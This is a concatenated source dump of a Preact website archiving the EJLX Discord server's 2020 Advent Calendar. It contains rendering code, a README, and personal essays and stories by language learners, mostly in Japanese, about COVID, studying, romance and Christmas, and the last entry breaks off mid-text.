// Debounce function taken from underscore.js function debounce (func, wait, immediate) { let timeout return function () { const context = this const args = arguments const later = function () { timeout = null if (!immediate) func.apply(context, args) } const callNow = immediate && !timeout clearTimeout(timeout) timeout = setTimeout(later, wait) if (callNow) func.apply(context, args) } } function getEntries (entryNames, entryDirectory = './data/entries') { const entries = entryNames.map(entryName => { const entry = {} const module = require(`${entryDirectory}/${entryName}.js`) entry.node = module.default entry.metadata = module.metadata return entry }) return entries } const handleParallax = debounce((e) => { const mouseX = e.clientX const mouseY = e.clientY const xRatio = mouseX / window.innerWidth const yRatio = mouseY / window.innerHeight const normalizedX = (xRatio - 0.5) * 2 const normalizedY = (yRatio - 0.5) * 2 anime({ targets: '#particles', duration: 500, easing: 'easeOutSine', translateX: normalizedX * -10, translateY: normalizedY * -10 }) anime({ targets: '#particles-back', duration: 500, easing: 'easeOutSine', translateX: normalizedX * -20, translateY: normalizedY * -20 }) }, 0) const cookies = new Cookies() export default function App () { const cookieVal = cookies.get('isSnowEnabled') const firstState = cookieVal === undefined ? true : cookieVal === 'true' const [isSnowEnabled, setIsSnowEnabled] = useState(firstState) const entries = getEntries([ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31 ]) useEffect(() => { tsParticles.load('particles', particleOptions) tsParticles.load('particles-back', particleBackOptions) }, []) useEffect(() => { if (isSnowEnabled) { tsParticles.domItem(0).play() tsParticles.domItem(1).play() window.addEventListener('mousemove', handleParallax) } else { tsParticles.domItem(0).pause() tsParticles.domItem(1).pause() window.removeEventListener('mousemove', handleParallax) } }, [isSnowEnabled]) const toggleSnow = () => { cookies.set('isSnowEnabled', !isSnowEnabled, { maxAge: 2147483647, sameSite: 'strict' }) setIsSnowEnabled(!isSnowEnabled) } return ( <> <FrontMatter isWaveEnabled={isSnowEnabled}/> <BackToTopButton /> <SnowToggleButton toggleSnow={toggleSnow} isSnowEnabled={isSnowEnabled} /> <div className={'main-container'}> <div className={'entry-list'}> {entries.map((entry, idx) => <Entry icon={entry.metadata.icon} alias={entry.metadata.alias} username={entry.metadata.username} id={entry.metadata.id} date={entry.metadata.date} entry={entry.node} entryIndex={entry.metadata.index} key={idx} /> )} </div> </div> <div id={'particles'} className={isSnowEnabled ? '' : 'hidden'}/> <div id={'particles-back'} className={isSnowEnabled ? '' : 'hidden'}/> </> ) } <file_sep>/src/data/entries/19.js import icon from '../icons/zappi.png' export default ( <> <div className={'jp'}> ザッピのアドベントカレンダー{' '}<strong>去年と今年</strong> </div> <div> <p>令和2年12月19日(土曜日)</p> <p>{'  '}去年(2019年)と今年(2020年)とは、どっちのほうが苦痛だったのか分からない。去年は高校三年生で、VCE(センター試験のよう)が気になっていて、これまでもこれからもずっと自己期待は大きいから、流石に去年も自分に期待しすぎたんだ。{'  '}<br/> {'  '}さらに、高校生だったから、交際するはずなのに社会的コミュニケーションの困難のせいで、人と親しくなるのは大変だ。だから交際したかったのに、ほとんどの同級生に変だと思われて、高校の中で孤立してしまった。{'  '}<br/> {'  '}実は、年をとるにつれて付き合いが上手になっているから、去年はそれまでの数年間ほど苦痛ではなかった。それまでの数年間に対比して、いじめられなかったし、交際する機会があったし、彼女でもいたんだ。{'  '}</p> <p>{'  '}ただし、2020年は大学一年生で、生活を一変するチャンスだった!専攻は言語学で副専攻は日本語だと決めて授業に登録した。学期の最初の2週間、大学の日課に慣れていたり友情の輪を広げたりして、本当に生活を楽しんできた。しかし、</p> <p><strong>コロナショック{'  '}</strong></p> <p>{'  '}コロナウイルスのせいで、ビクトリア州はふと封鎖されて、さらに交際能力が上達したり成熟したりしたにもかかわらず、自宅待機にしてしまって、もう一回孤立無援の悲哀に沈んだ。第二週間目から全部オンライン授業で、2005年から増えないインターネット接続のせいで、毎日毎日「今日Zoomでの授業に参加できるの?」って分からなかったし全然同級生と交際できなかったし、大学1年生の経験が錆びちゃった。一方、自分で勉強しなければならなかったから自粛と勝ち気ようにしなければいけなかった。今まではそのようじゃなかったから修養するように励まされていた!{'  '}</p> <p>{'  '}オーストラリア人としては、他の国より大打撃を受けていないのは幸運だろう!他の国で新感染者数がますます増えている中、ビクトリア州は50日頃の間に新感線者はないから、コロナショック前のような生活に戻れている。{'  '}<br/> {'  '}でも、毎日新感染者数は700人以上の時(7月〜8月)は失意の時代だった。特に老人ホームに広がりながら、祖父母は亡くなるかどうか知らなかった。広がり終わっても、これから何年もビクトリア人はトラウマを抱えているだろう。{'  '}<br/> {'  '}そうと言っても、来年からは楽観なんだ。ワクチンのおかげで、これっきり「COVID-19」というクソ言葉と聞かないだろう!</p> </div> </> ) export const metadata = { alias: 'ඞざっぴ', username: 'Zappi', id: '652705051684503557', index: 19, date: 'December 19', icon: icon } <file_sep>/src/data/entries/8.js import icon from '../icons/kashi.png' export default ( <> <div>December 8th, 2020</div> <div className={'jp'}> <p>2018年11月24日の夜11時。私はベッドに寝そべって、携帯を右手に握ったまま、枕に顔をうずめている。家族がみんな集まって晩ご飯を食べているというのに、私だけ心が疲れ、無気力で起きられない。</p> <p>寂しい、悲しい、辛い。会いたくてしょうがない。いくつかメッセージを送ったけど、既読にならない。</p> <p>彼のことを思うと、心が切なく傷んでしまう。学校で毎日顔を合わせ、一緒にお昼ご飯を食べていたけど、関係がはっきりしないまま、冬休みになってしまった。</p> <p>またいつか話をして、お互いの気持ちを確かめたい。恋人関係になれば、今日抱えた苦悩を伝えられるかも。</p> </div> </> ) export const metadata = { alias: '', username: 'kashi', id: '624938907062239302', index: 8, date: 'December 8', icon: icon } <file_sep>/README.md # EJLX Advent Calendar 2020 The advent calendar is a yearly event on the EJLX server (discord invite is [here](https://discord.gg/japanese)). Applicants join on a first-come-first-server basis, and are assigned a certain day to post about anything. This website is an archive of all the entries submitted for 2020. However, if a person has trouble coming up with ideas for topics, the following guideline topics for this year are given: - Your New Year's Resolution What do you want to achieve the following year? - Your Hobbies What are your favourite hobbies? It can be something picked up during this year or something you've been doing for longer. - Experiences What interesting experiences did you have this year? What made it so memorable? - Your Favourite Thing What is something that you like? This can be a movie, dish, book, etc. ## Technical Details If you want to build this project yourself for some strange reason, then read the following. The project uses Preact to logically manage components. Normally the website can be statically prerendered, but the particles.js dependency used currently make it more difficult to render server-side due to its slightly outdated style of polluting the global namespace and prototypes instead of using a module system. This can be fixed by manually changing the dependency and removing references to "window", which I might do later. The entries directly import their images and emojis (unlike last year) just to make the process of converting entries to page component instances a bit simplier but less elegant. Entries also include metadata regarding their discord information and index which is used for links (or sorting entries if needed). However, entries are currently ordered by passing in a list of file names representing each entry (i.e. '1.js', '2.js', etc). ### Build Instructions 1. Clone this repository. 2. `npm install` 3. `npm run build` <file_sep>/src/data/entries/9.js import icon from '../icons/pentacal.png' import image1 from '../images/9.jpg' export default ( <> <img className={'entry-image'} src={image1} alt={'俺の記事を読め!'}/> <div> December 9th, 2020 </div> <div className={'jp'}> <p>今年で参加するのは三回目だね。抱負も、趣味も今までのACで書いたんだよ。今回も紋切り型の文章を書いてから、適当に... もとい、適切で妥当にあちこち偉そうなことわざを書かないと!俺のかっこいい記事を見せてやろうか。それともとあるシニがみのやつを読むだけで年を過ごすのか?!東方不敗(マスターアジア)になれるのは一人しかいなく、雌雄を決す時がようやく訪れる!いざ!尋常に勝負!…</p> <p>…なんちゃって。そんなことしたら皆さんにきっと満足してもらえないだろう。実は、BANされないうちに言っておかざるを得ないことがある。</p> <p>誰もが引きこもる日々に、EJLX自体も生活の一分になったよね。では、EJLXについての話にしよう。</p> <p>2018年8月。僕はまた日本語勉強し始めた。このサーバーに参加した時、「初志貫徹」だの「中学時代からずっと学びたかって」だのつまらないことを言った。もちろん嘘じゃないけど、最近、理由はもう一つ思い出した。当時、高校の後輩のSNS投稿に貼ったN3合格証明書を見かけた。何年間も日本語に触れたこともない僕は負けず嫌いなので、あたふたと教科書を何冊も一気に買い、全力で語彙を覚え、リスニング問題をし、練習本の空欄を埋めた。ちょこっとだけうまくなったかもしれないけど、いったいどうして進歩したいのか自分に疑っていた。感じたのは満足ではなく、空虚しかなかった。</p> <p>さまよった僕は幸い、偶然にこのサーバーを見つけた。参加したばかりの時、力になれたくて「英語を教えてあげるかなぁ」と思ったけど、自分より英語が何倍も流暢な方々が大勢いると気づいた。漢字が読める僕は、#japanese_chatは少なくとも筋がわかるだろうと思ってたのに、実際1行おきに辞書を引かないといけなかった。そのチャンネルは、入り込めないどころだった。いつかそこへ行きたいんだけど、それを邪魔しちゃ迷惑をかけるだけの気がして、ただ隙間から覗くように読んでばかりだった。</p> <p>その時、僕は自分の能力不足を実感した。</p> <p>一方、#j_cに参加している学習者に感心していた。いつも見つめて、憧れて、「いつか異彩を放っている彼達のようにペラペラと喋れようになりたいなぁ」と発想した。だと言っても、当時の僕は実際、虚栄心に駆られてただ深緑になってから皆に羨ましがられたかった。</p> <p>勉強したいと思ったきっかけは歪んでいたと言ってもいいけど、毎日できる限り皆とはなしながら新しい言葉をノートした。最初は大変だったけど、会話の流れをなれてじわじわと楽になった。我ながら確実に上達していると感じられるようになった。見栄えするつもりもだんだん消えてきた。今、僕は、、桃栗三年柿八年というか、こつこつ努力をしたほうがいいというか、うだうだ話しても一日一歩進みながら楽しんでいるようになった。</p> <p>どうして日本語が勉強したいのか今でも雲をつかむようだけど、僕は「勉強そのものが楽しいからする」と胸を張って言える。</p> <p>話がもうダラダラしちゃって、ここで結論を言おう。</p> <p>このサーバーに参加してよかった。</p> </div> </> ) export const metadata = { alias: 'ゆい', username: 'Pentacal', id: '233487484791685120', index: 9, date: 'December 9', icon: icon } <file_sep>/src/data/entries/11.js import icon from '../icons/lith.png' import blobSweat from '../emotes/blobSweat.png' export default ( <> <div>Lithの文{' '}11/12/2020</div> <div> <p>まず、参加させてありがとうございます。実は初めて一つ以上の文章を日本語で書いているから、ちょっと心配している。読んだり聞いたりするばかりだから日本語で書くのが変な感じだけど、頑張ります!</p> <p>何についての文章を書くかわからない。まあ準備すればよかったね。じゃあ新年の抱負では書いたらどう?まず第一2021になってから日本語の喋りとか会話とかは真面目にし始めたい。オーストラリアの田舎に住んでいるから、日本語で喋るのが大事じゃない。それなのに、自分の幸せのためにもっとちゃんと話せるようになりたい。私の日本語の話すこと以外が日本語がちょっと大丈夫だから、話す練習をすればいいんでしょうね。それとも2021に自分の家を改善したい。今年、とうとう未来の妻と一緒に自分の家を買ったから嬉しいけど、今は....この家には…手を加える必要があるw。築く方法はさっぱりわからないから、学ぶいい機会になる。早く夏は来ていてエアコンがなくてそれはリストの一番上にある。そうすると、もしかして新しい書斎(書斎は正しいですか?ある部屋で読んでいるということ)か鶏が欲しいから庭を直すればいいんです。2020に私は太るようになった。めっちゃデブデブですから、ちゃんと痩せることにしました。もう1.5kgを失った!来年は80kgになりたい!今は93kgです</p> <p>以上です。それは今まで一番多くの日本語を書いた <img src={blobSweat} className={'emote'}/> でも、実は楽しいですね</p> <p>訂正を楽しみにしています</p> </div> </> ) export const metadata = { alias: '', username: 'Lith', id: '139564398275592193', index: 11, date: 'December 11', icon: icon } <file_sep>/src/Entry.js import './Entry.css' export default function Entry (props) { const { icon, entryIndex, username = 'Anonymous', id = '', date = 'Unknown Date', entry = 'No entry...' } = props const alias = props.alias || username || 'Anonymous' return ( <div className={'entry'} id={`entry-${entryIndex}`}> <div className={'entry-titlebar'}> <div className={'entry-titlebar-info'}> <img className={'entry-titlebar-icon'} src={icon}/> <div className={'entry-titlebar-text-container'}> <div className={'entry-titlebar-text'}> <div className={'entry-titlebar-username'}> {alias} <span className={'entry-titlebar-tooltip'}> <div>{username}</div> <div>{id}</div> </span> </div> <div className={'entry-titlebar-date'}>{date}</div> </div> </div> </div> </div> <div className={'entry-text'}> {entry} </div> </div> ) } <file_sep>/src/data/entries/30.js import icon from '../icons/taku.png' import image from '../images/30.jpg' export default ( <> <div> Advent Calendar 30th December 2020 </div> <div> <p>First of all, I am very happy to join the Advent Calendar .<br/> I got an idea of a story when I received one picture from my friend Daku. It was an image of his cat. His name is Ruka. </p> <br/> <p>『 Hear me out ! 』</p> <p>Ruka🐱 &quot; There&apos;s something I want to ask you..... It seems that there are really delicious foods in Japan that I can lick and eat . I was wondering if you can buy it here in America ,too. But I would really love to go to Japan one day .<br/> I know some Japanese <br/> 「 SUSHI 」 「 TEMPURA 」 「 PARIDON 」「 KAWAII 」 「EMOI 」 「 PIENN 」</p> <p>Daku 🧒 &quot;Huh? when did you learn such Japanese?&quot;</p> <p>Ruka🐱 &quot;I &apos;ve been watching you study Japanese everyday beside me. So you don&apos;t have to be so surprised . But I know that you don&apos;t get anything of what I mean when you hear me just say <br/> 【 meow】</p> <img src={image} alt={'A beautiful cat on a wooden floor'} className={'entry-image'} /> <p>Thank you very much to read my story.<br/> And<br/> Yoi otoshi wo .<br/> You may be happy new year.</p> </div> </> ) export const metadata = { alias: null, username: 'TAKU', id: '741428429018103928', index: 30, date: 'December 30', icon: icon } <file_sep>/src/Front-Matter.js import './Front-Matter.css' import Wave from './Wave' import Calendar from './Calendar' export default function FrontMatter (props) { const { isWaveEnabled = true } = props const height = Math.max(window.innerHeight, 850) return ( <> <Wave color={'#1f4259'} height={-100} priority={1} disabled={!isWaveEnabled}/> <Wave color={'#046e8f'} height={-100 + height / 4 * 1.15} priority={2} disabled={!isWaveEnabled}/> <Wave color={'#0090c1'} height={-100 + height / 4 * 2.2} priority={3} disabled={!isWaveEnabled}/> <Wave color={'#046e8f'} height={-100 + height / 4 * 3} priority={4} disabled={!isWaveEnabled}/> <Wave color={'#183446'} height={-100 + height / 4 * 4} priority={5} disabled={!isWaveEnabled}/> <div className={'front-page'} style={{ height, background: isWaveEnabled ? '' : '#183446' }}> <a className={'front-page-go-back-link'} href={'https://espaspw.github.io/Advent-Calendar-Hub/'} > <span style={{ position: 'relative', bottom: '1px', marginRight: '5px' }}> {'<'} </span> See Other Years </a> <h1 className={'front-page-title'} style={{ top: height / 6 }}> EJLX Advent Calendar 2020 </h1> <div className={'front-page-calendar'}> <Calendar /> </div> </div> </> ) } <file_sep>/src/data/entries/6.js import icon from '../icons/daku.gif' export default ( <> <div>December 6th, 2020</div> <div className={'jp'}> <p> 僕は桜木。僕もJon.僕も黄修心です。私は英語を教える、大好き。きょう、僕の日本語はまずいでも私は頑張ります。来年は良くなります。明日は良くなります。今日は最善を尽くすことが重要です。 はじめまして、皆さん、よろしくおねがいします。あなたはすべて私の大切な友達です。 </p> </div> <p>Happy new year and Merry Christmas)</p> </> ) export const metadata = { alias: '<NAME>', username: 'Daku', id: '596274217234989057', index: 6, date: 'December 6', icon: icon } <file_sep>/src/data/entries/31.js import icon from '../icons/andacht.png' import image from '../images/31.jpg' export default ( <> <div className={'jp'}> アドベントカレンダー、12月31日 </div> <div className={'jp'}> <p>明けましておめでとうございます。</p> <p>2020年の年末は驚いたことに来ました。コロナ流行病の陰に生き続けるみたいな感じは不安だったから来年に待っています。2月に新たに引っ越した家に慣れるながら突然に全国(アメリカに住めばもしかしてに全州)検疫が始ましたが、今までディスコードの友達と家族と話しているし、家にともに住んでいる人だけ合っています。</p> <p>検疫のせいでコンサートを参加できなかったり、普通な仕事ができないけど、自分の日本語能力を段々に増すようとしていた。三ヶ月前に五本のSF小説が(間違いに)買ったから難読語に満ちている物語をゆっくりで読んでいる。新しい漢字や単語をそれぞれノートに書いていたのおかげで、もっと難しいことを読めるようになって気がする。それでも僕の文法はまた改良しなければならないと思います。</p> <p>今年に折り紙モデルを折り続きまして、夏から冬まで自分の紙を作る機会は少ないでした。そのモデルの中では女性のようなバニーガール人形、怖い動物、すごく複雑な虫たちもあるけど、来年に暇になればもっと面白い折り紙の特別な紙を準備したい。写真は前に言ったバニーガール、でも自分の原作ではありません。チェン * シャオ(陈晓)という作家の人間をデザインするの才能はただの作家の中には無双です。チェンさんの本も買ったり、来年にすべてを折るつもりよ。ワクチンを受けたら来年に日本の探偵団折り紙コンベンションを参加できるかもしれない。</p> <p>今回の年末は確かにパーティーを開けないが、明日友達と一緒に韓国のチキンフライを作る。残念ながらお正月の後で日本に旅行できることは無理でも、来年の休日は多くに蓄えた。だが、機会がない場合は新たな料理実験がいつも通りにできる。</p> <p>アドベントカレンダーを参加機会をくれてありがとうございました。よろしくねお願いします!</p> </div> <img src={image} alt={'Origami Lady'} className={'entry-image'} /> </> ) export const metadata = { alias: 'あやかしアンダハト', username: 'Andacht', id: '281217914483376128', index: 31, date: 'December 31 (New Years Eve)', icon: icon } <file_sep>/src/data/entries/21.js import icon from '../icons/odaijini.png' import santa from '../images/21.jpg' export default ( <> <div> 2020/12/21 <span className={'jp'}>アドベントカレンダー</span> </div> <div className={'jp'}> <p>あの夜、雪が沢山降っていた。</p> <p>ある山の頂に工場があった。その工場の中に、めちゃくちゃ頑張って働いているエルフたち。どんな仕事をしているかと言われたら、おもちゃやものの梱包みたいだった。梱包を終わったら、ある大きな袋の中にプレゼントを入れる。</p> <p>「今年の皆さんのクリスマスプレゼント、どんなものを願ってるんだろうね!」とおじいちゃんが言って来る。</p> <p>そのおじいちゃんは、普通のおじいちゃんじゃなくて赤い服を着て帽子を被って長い白ひげをしていたおじいちゃんだった。</p> <p>「サンタさん!今年も遅刻したねぇ!」とあるエルフが怒って言う。</p> <p>「あ、ユウミさんごめんね。キャンディーケイン食べ過ぎちゃって。。。」</p> <p>「わかった、わかった、どうでもいいわ!とにかく急いで準備してね。もうすぐ梱包終わっちゃうから」</p> <p>その後、サンタはやっと準備が出来てあの大きな袋を持って馬車に乗る。すると、馬車を運転していたトナカイが空に向けて飛ぶ。</p> <p>「ほほほほほ!」と笑うサンタさん。</p> <p>「よし、プレゼントのリストをチェックするか。」</p> <p>サンタはポケットから取り出したリストをチェック。リストにはプレゼントを願った子供たちの名前、年齢、住所、そして彼らがほしいプレゼントも書いてあった。</p> <p>「スマホ...自転車...テレビ...毛布...あれ?毛布なの?色んなプレゼントがあるのに!」</p> <p>毛布を願った子のデータを調べるサンタ。</p> <p>「トリくんかぁ。そして、9歳なんだね。はい、決めたぞー。まずトリくんの家に行く」</p> <p>トリの家は貧しく思える木造で、サンタさんが近づいて窓を覗いて見ると、リビングで抱きしめ合って眠るトリと家族が見えた。あんなに雪が降っていてとても寒かったのに、毛布も持っていなかった家族。</p> <p>「なるほどなぁ...」とサンタさんが言う。</p> <p>それで、サンタさんがポケットから赤い杖を取り出したら、あの家は不思議に輝いた。家はもっと大きくてすごく素敵な家に変わっていった。毛布と暖炉も出てきた。<br/> 彼らは気が付かずに寝続けた。</p> <p>「今暖かいでしょう」とサンタさんが言った。馬車に戻ろうと思ったら、寝ていたトリの笑顔が見えた。</p> <p>「これが僕の仕事なんだね...」</p> <p>サンタさんの皺だらけの目から涙が落ちて、髭の中に消えていった。彼は微笑んだ。</p> <p>メリークリスマス!! 🎅🎄</p> </div> <img src={santa} className={'entry-image'} alt={'Santa with a present'} /> </> ) export const metadata = { alias: 'onigiri (Panda version)', username: 'お大事に', id: '613155793302323210', index: 21, date: 'December 21', icon: icon } <file_sep>/src/data/entries/5.js import icon from '../icons/メーヴェ.png' export default ( <> <div>December 5th, 2020</div> <div> <p>Merry Christmas!<br/>At first, I&apos;m hoping you guys are having great holidays.</p> <p>Lately I&apos;m having a lot of to do in my life. like, my gramma got dementia, also my job became really really busy for some reasons, even though I speak English every days with some of my friends on the VC.</p> <p>My next year&apos;s resolutions are</p> <ol> <li>Speak/listen in English better than now.</li> <li>Learn English way more accurate in some Univ.</li> <li>Take the license, called &quot;1st class Qualified Certified Electrician&quot;.</li> <li>Cherish my precious friend, also family, and gramma.</li> </ol> <p>3 of those resolutions were related by the COVID sadly...<br/> But... I mean...</p> <p>Everything definitely will be fine.<br/>At this moment, the entire world on fire. But STAY STRONG EVERYONE!!!!</p> <p>After this COVID became better, let&apos;s hangout like good old days, hm??</p> <p>Please take care for your healthy life, and make your year the best one next year!! friends!</p> <p>Happy new year!!!!</p> </div> </> ) export const metadata = { alias: '', username: 'メーヴェ', id: '712819028053327926', index: 5, date: 'December 5', icon: icon } <file_sep>/src/data/entries/4.js import icon from '../icons/ayumminu.png' export default ( <> <div>Advent Calendar: the 4th of December 2020. </div> <div className={'entry-block'}> <p className={'entry-block-header'}>INT. A chat room - NIGHT</p> <p className={'unemph'}>(Inu and Neco are chatting on DM. Their name is username. They don&apos;t know each other&apos;s real names.)</p> <p>Inu(Ayuwoof): It was great to chat tonight. Thank you and see you next week. Good night Neco.</p> <p>Neco (Ayumeow): Thank you Inu. Good night! :)</p> </div> <div className={'entry-block'}> <p className={'entry-block-header'}>INT. Ayumeow&apos;s room - NIGHT</p> <p className={'unemph'}>(There are beauty goods in her room. Ayumeow turns off her laptop computer)</p> <p>Ayumeow: Ohhh, my gosh! It was so much fun! I love Inu! Ah, I wish this kind of time could go on forever.</p> <p className={'unemph'}>(Ayumeow embarrassed, covering her face with her hands)</p> </div> <div className={'entry-block'}> <p className={'entry-block-header'}>INT. Ayuwoof&apos;s room - NIGHT</p> <p className={'unemph'}>(Ayuwoof turns off his laptop computer. He sighs deeply.)</p> <p>Ayuwoof: It's more about Ayumeow than chatting. I&apos;m sure she would have forgotten about me. It was just a year ago today that I was helped by you. Do you know that I'm finally a dog cop? </p> <p className={'unemph'}>(Ayuwoof looks at a poster of the nation&apos;s most popular pop-cat-idol Ayumeow)</p> </div> <div className={'entry-block'}> <p className={'entry-block-header'}>INT. Angela&apos;s room - DAY</p> <p className={'unemph'}>(She was dumped by her boyfriend via a chat a few minutes ago in this morning. With the phone in her hand, Angela was crying on her bed.)</p> <p>Angela: Why? What made him angry? I don&apos;t know him at all! </p> <p className={'unemph'}>(She hears a mysterious voice, something whispering directly into her head.)</p> <p> Shinigami: I will give you the superpower of darkness.</p> <p> Angela: What!? Who are you? </p> <p> Shinigami: I&apos;m Shinigami, I&apos;m on your side. With this power, you can take away the good looks of pop-cat-idol Ayumeow and money of a dog cop Ayuwoof. </p> <p> Angela: I want to get the beauty and money to revenge on my ex!</p> <p className={'unemph'}> (Shinigami makes that a darkness apple appears in front of Angela.)</p> <p>Shinigami: Take a bite of this special apple. You can turn your heartbreak into anger.</p> <p className={'unemph'}>(Angela eats its apple. She was transformed into &quot;Angera&quot; by Shinigami&apos;s dark power. She fearless smiling, saying)</p> <p>Angera: Anger is justice! I defeat those two and take it all!</p> </div> <div className={'entry-block'}> <p className={'entry-block-header'}>EXT/INT. Ayumeow&apos;s live hall - DAY</p> <p className={'unemph'}>(Angera: looks for Ayumeow, and smashing the Christmas decorations on this hall in anger. Ayuwoof comes to Ayumeow)</p> <p>Ayuwoof: Hello, my sweet. Missed me?</p> <p className={'unemph'}>(Ayuwoof, wearing a policeman&apos;s uniform, approaches Ayumeow with a bouquet of roses)</p> <p>Ayumeow: Ew disgusting! I have someone to love not you.</p> <p>Ayuwoof: I see. By the way, we don&apos;t know each other&apos;s yet, do we? What are your hobbies? What&apos;s your favourite thing? I want to know about you more.</p> <p>Ayumeow: My hobby is watching movies. Wait, why do I have to say it now? We have to defeat that angry monster.</p> <p className={'unemph'}>(Ayumeow looks at Ayuwoof with a dumbfounded expression.)</p> <p>Ayuwoof: Hahaha. I want you to remember me. My hobby is drawing. I would like to draw you a picture next time. </p> <p>Ayumeow: No thank you.</p> <p className={'unemph'}>(Angera finds Ayumeow and Ayuwoof having a conversation and approaches. They noticed her approaching.)</p> <p>Ayuwoof: Oh, I forgot to say!</p> <p className={'unemph'}>(Ayuwoof says one word to Ayumeow, something. Ayuwoof goes to take down Angera alone.)</p> <p>Ayumeow: Why......</p> <p className={'unemph'}>(A single tear on her cheek)</p> </div> <div className={'entry-block'}> <p>------</p> <p>my comment: I&apos;ve written the post contents of the three people who have posted AC so far, and a part of my name. Thank you for taking your time to read my article. Please don&apos;t hesitate to send me your corrections via DM.</p> </div> </> ) export const metadata = { alias: '', username: 'ayumminu', id: '473013785884622848', index: 4, date: 'December 4', icon: icon } <file_sep>/src/data/entries/18.js import icon from '../icons/indi.png' export default ( <> <div className={'jp'}> <p>インディのアドベントカレンダー</p> <p>2020年12月18日(金)</p> </div> <div className={'jp'}> <p>皆さんこんにちは、インディです。僕の仕事は12月が大忙しいので、長いアドベントカレンダーの作文を書くに書きませんでした、でも頑張ります。楽しんでください。</p> <p>僕は今年の8月4日にこのサーバーに入りましたので、なお新しい会員ですけども、もうたくさん新しい友達に会ってたくさんことに学びました。入って初めては自己紹介を書きませんでしたから、ものを書くことがこの機会に使ってます。</p> <p>皆さん初めまして。米国に住んでいますアメリカ人です。僕は自学で5ヶ月日本語を勉強して毎日勉強します。まだたくさんことを学ぶのはありますが、この思想とわくわくします。趣味は読書とサイクリングと日本語を勉強しています。趣味の中で一番好きなサイクリングです。自転車するのときは美しい見物に見ます。大好きなので。</p> <p>道を変えるのなら今なんです。</p> <p>来年たくさんことがしたいです。日本語を続きたくて、日本語読書したくて、自転車したいですが、格段になりたいです。初めての自転車の競走に参加したくて、もう勝ちたいです!また来年の7月末は自転車の大会に横断のアイオワ州に何千人と自分が自転車に乗ります。この大会の名前がRAGBRAIです。</p> <p>以上です!よろしくお願いします。</p> <p>僕の短い作文を読んでくれてありがとうございます。訂正してください。</p> <p>メリクリスマス!</p> </div> </> ) export const metadata = { alias: 'いろは', username: 'Indi ≠ いろは', id: '308386771723616257', index: 18, date: 'December 18', icon: icon } <file_sep>/src/data/entries/17.js import icon from '../icons/dalexis.png' import aPikaWave from '../emotes/aPikaWave.gif' import bow3 from '../emotes/bow3.png' import wa from '../emotes/wa.png' import rooDerp from '../emotes/rooDerp.png' import yotsubaYay from '../emotes/yotsubaYay.png' import yesCat from '../emotes/yesCat.gif' import prettyThumbsUp from '../emotes/prettyThumbsUp.png' import naruhodone from '../emotes/naruhodone.png' import rooSantaBlind from '../emotes/rooSantaBlind.png' import yotsubaSalute from '../emotes/yotsubaSalute.png' export default ( <> <div className={'jp'}> アドベント・カレンダー<br/> 2020年12月16日 (木) </div> <div className={'jp'}> <p>皆さん、こんにちは!アレクシーです. <img src={aPikaWave} className={'emote'} /> <br/> 今日はボクの日記を書くの番です ! 楽しみにしてくださいね. <img src={bow3} className={'emote'} /> </p> <p>ボクはこのサーバーに入れたとき、日本語がとても下手でした. <img src={wa} className={'emote'} /> 5月14日に入りました.7ヶ月後で、まだ日本語が下手ですが、5月の時よりもっと上手になりました...と思いますね. <img src={rooDerp} className={'emote'} /> <br/> このサーバーには、色々なとても素晴らしいメンバーがいます. 皆さんのおかげで、ボクはよく習いました! <img src={yotsubaYay} className={'emote'} /> 本当にありがとうございます.<br/> ボクは日本語が流暢になれば、誰もが日本語が流暢になることができる. まぁ、日本人メンバーはもう日本語が流暢人ですが、英語も上手です. <img src={yesCat} className={'emote'} /> <br/> 一緒に目標とする言語を勉強することによって、皆さんは目標を叶えりますよ. <img src={prettyThumbsUp} className={'emote'} /> </p> <p>日本語を勉強するために、私は日本語でゲームをしたり、#japanese_chatでメッセジーを読んだり、YouTubeでJ-Popを聴いたり、時々日本語で喋ったりしています. <img src={naruhodone} className={'emote'} /><br/> 多分私が文法的な本を読むべきですよね. :wa: でも、自分のペースで日本語を勉強したいです ! </p> <p>今は12月です. 通常は、クリスマスのおかげで、幸せの月です。コロナのせいで、12月はちょっと違いますが、皆さんは元気を望んでいます. <img src={rooSantaBlind} className={'emote'} /> <br/> 来年までに、コロナは終わりたいで、ボクは日本語が流暢になるつもりです. <img src={wa} className={'emote'} /></p> <p>そういえば、2022年に日本へ旅行しに行くために、頑張っています! <img src={yotsubaSalute} className={'emote'} /> </p> <p>読んでくれてありがとうございます !<br/> 間違ってたら、#correct_me やメッセジーに修正を送っては気にしないでくださいね. <img src={bow3} className={'emote'} /></p> </div> </> ) export const metadata = { alias: 'Alexis / アレクシー 🇫🇷', username: 'd/Alexis', id: '294441472864944129', index: 17, date: 'December 17', icon: icon } <file_sep>/src/data/entries/32.js import icon from '../icons/espa.gif' export default ( <></> ) export const metadata = { alias: 'ESPAlchemist「Super Panama World」', username: 'ESPAlchemist', id: '128369934857273344', index: 32, date: 'January 1 (New Years)', icon: icon } <file_sep>/src/data/entries/7.js import icon from '../icons/hagane.png' export default ( <> <div>December 7th, 2020</div> <div className={'jp'}> <p>参加させていただき、誠にありがとうございます。</p> <p>最近、暗い思いしかしていませんので、明るくてキュンとさせる話を書かせて頂きました。喜んでいただければ幸いです。語彙力が低いため、平易な文体で書かせて頂きました。申し訳ありません。無理なお願いかもしれませんが、ご訂正の程よろしくお願い致します。</p> <p>この文章はすべてフィクションです。実在の人物や団体などとは関係ありません。多分</p> <p>寒い秋の夜だった。彼に初めて会った日。雨が降っていたので良く見えなかったが、背が低くて可愛いと、見た瞬間に思ってしまった。灰色のカーディガンと濃い青のデニムパンツを履いていた。それに、漆黒のように真っ黒な髪は背中まで伸びていた。しかし、実際に興味を持たせたのは、彼の仕草だった。何故か、思いのままにしたい、としか思いつかなかった。つまり、可愛くてしょうがなかった。</p> <p>出会った状況は意外と運命の出会いの感じはしなかった。雨でびしょ濡れになってしまった僕は、早く帰りたかったので出来るだけ通行人を避けていた。横断歩道を渡っていた途端に、彼とぶつかってしまった。その日の夜、彼のことを思いながら寝てしまった。</p> <p>二度目の出会いは、友達に誘われたパーティーだった。友人の鉄ちゃんは彼の友達の友達だそうだった。もう一度会えてよかったと、心から思っていた。その日は、深夜まで話していた。彼の電話番号を貰ってから家に帰った。まるで運命だった気がした。</p> <p>それ以来、何回も逢って、何回も惚れてしまった。</p> 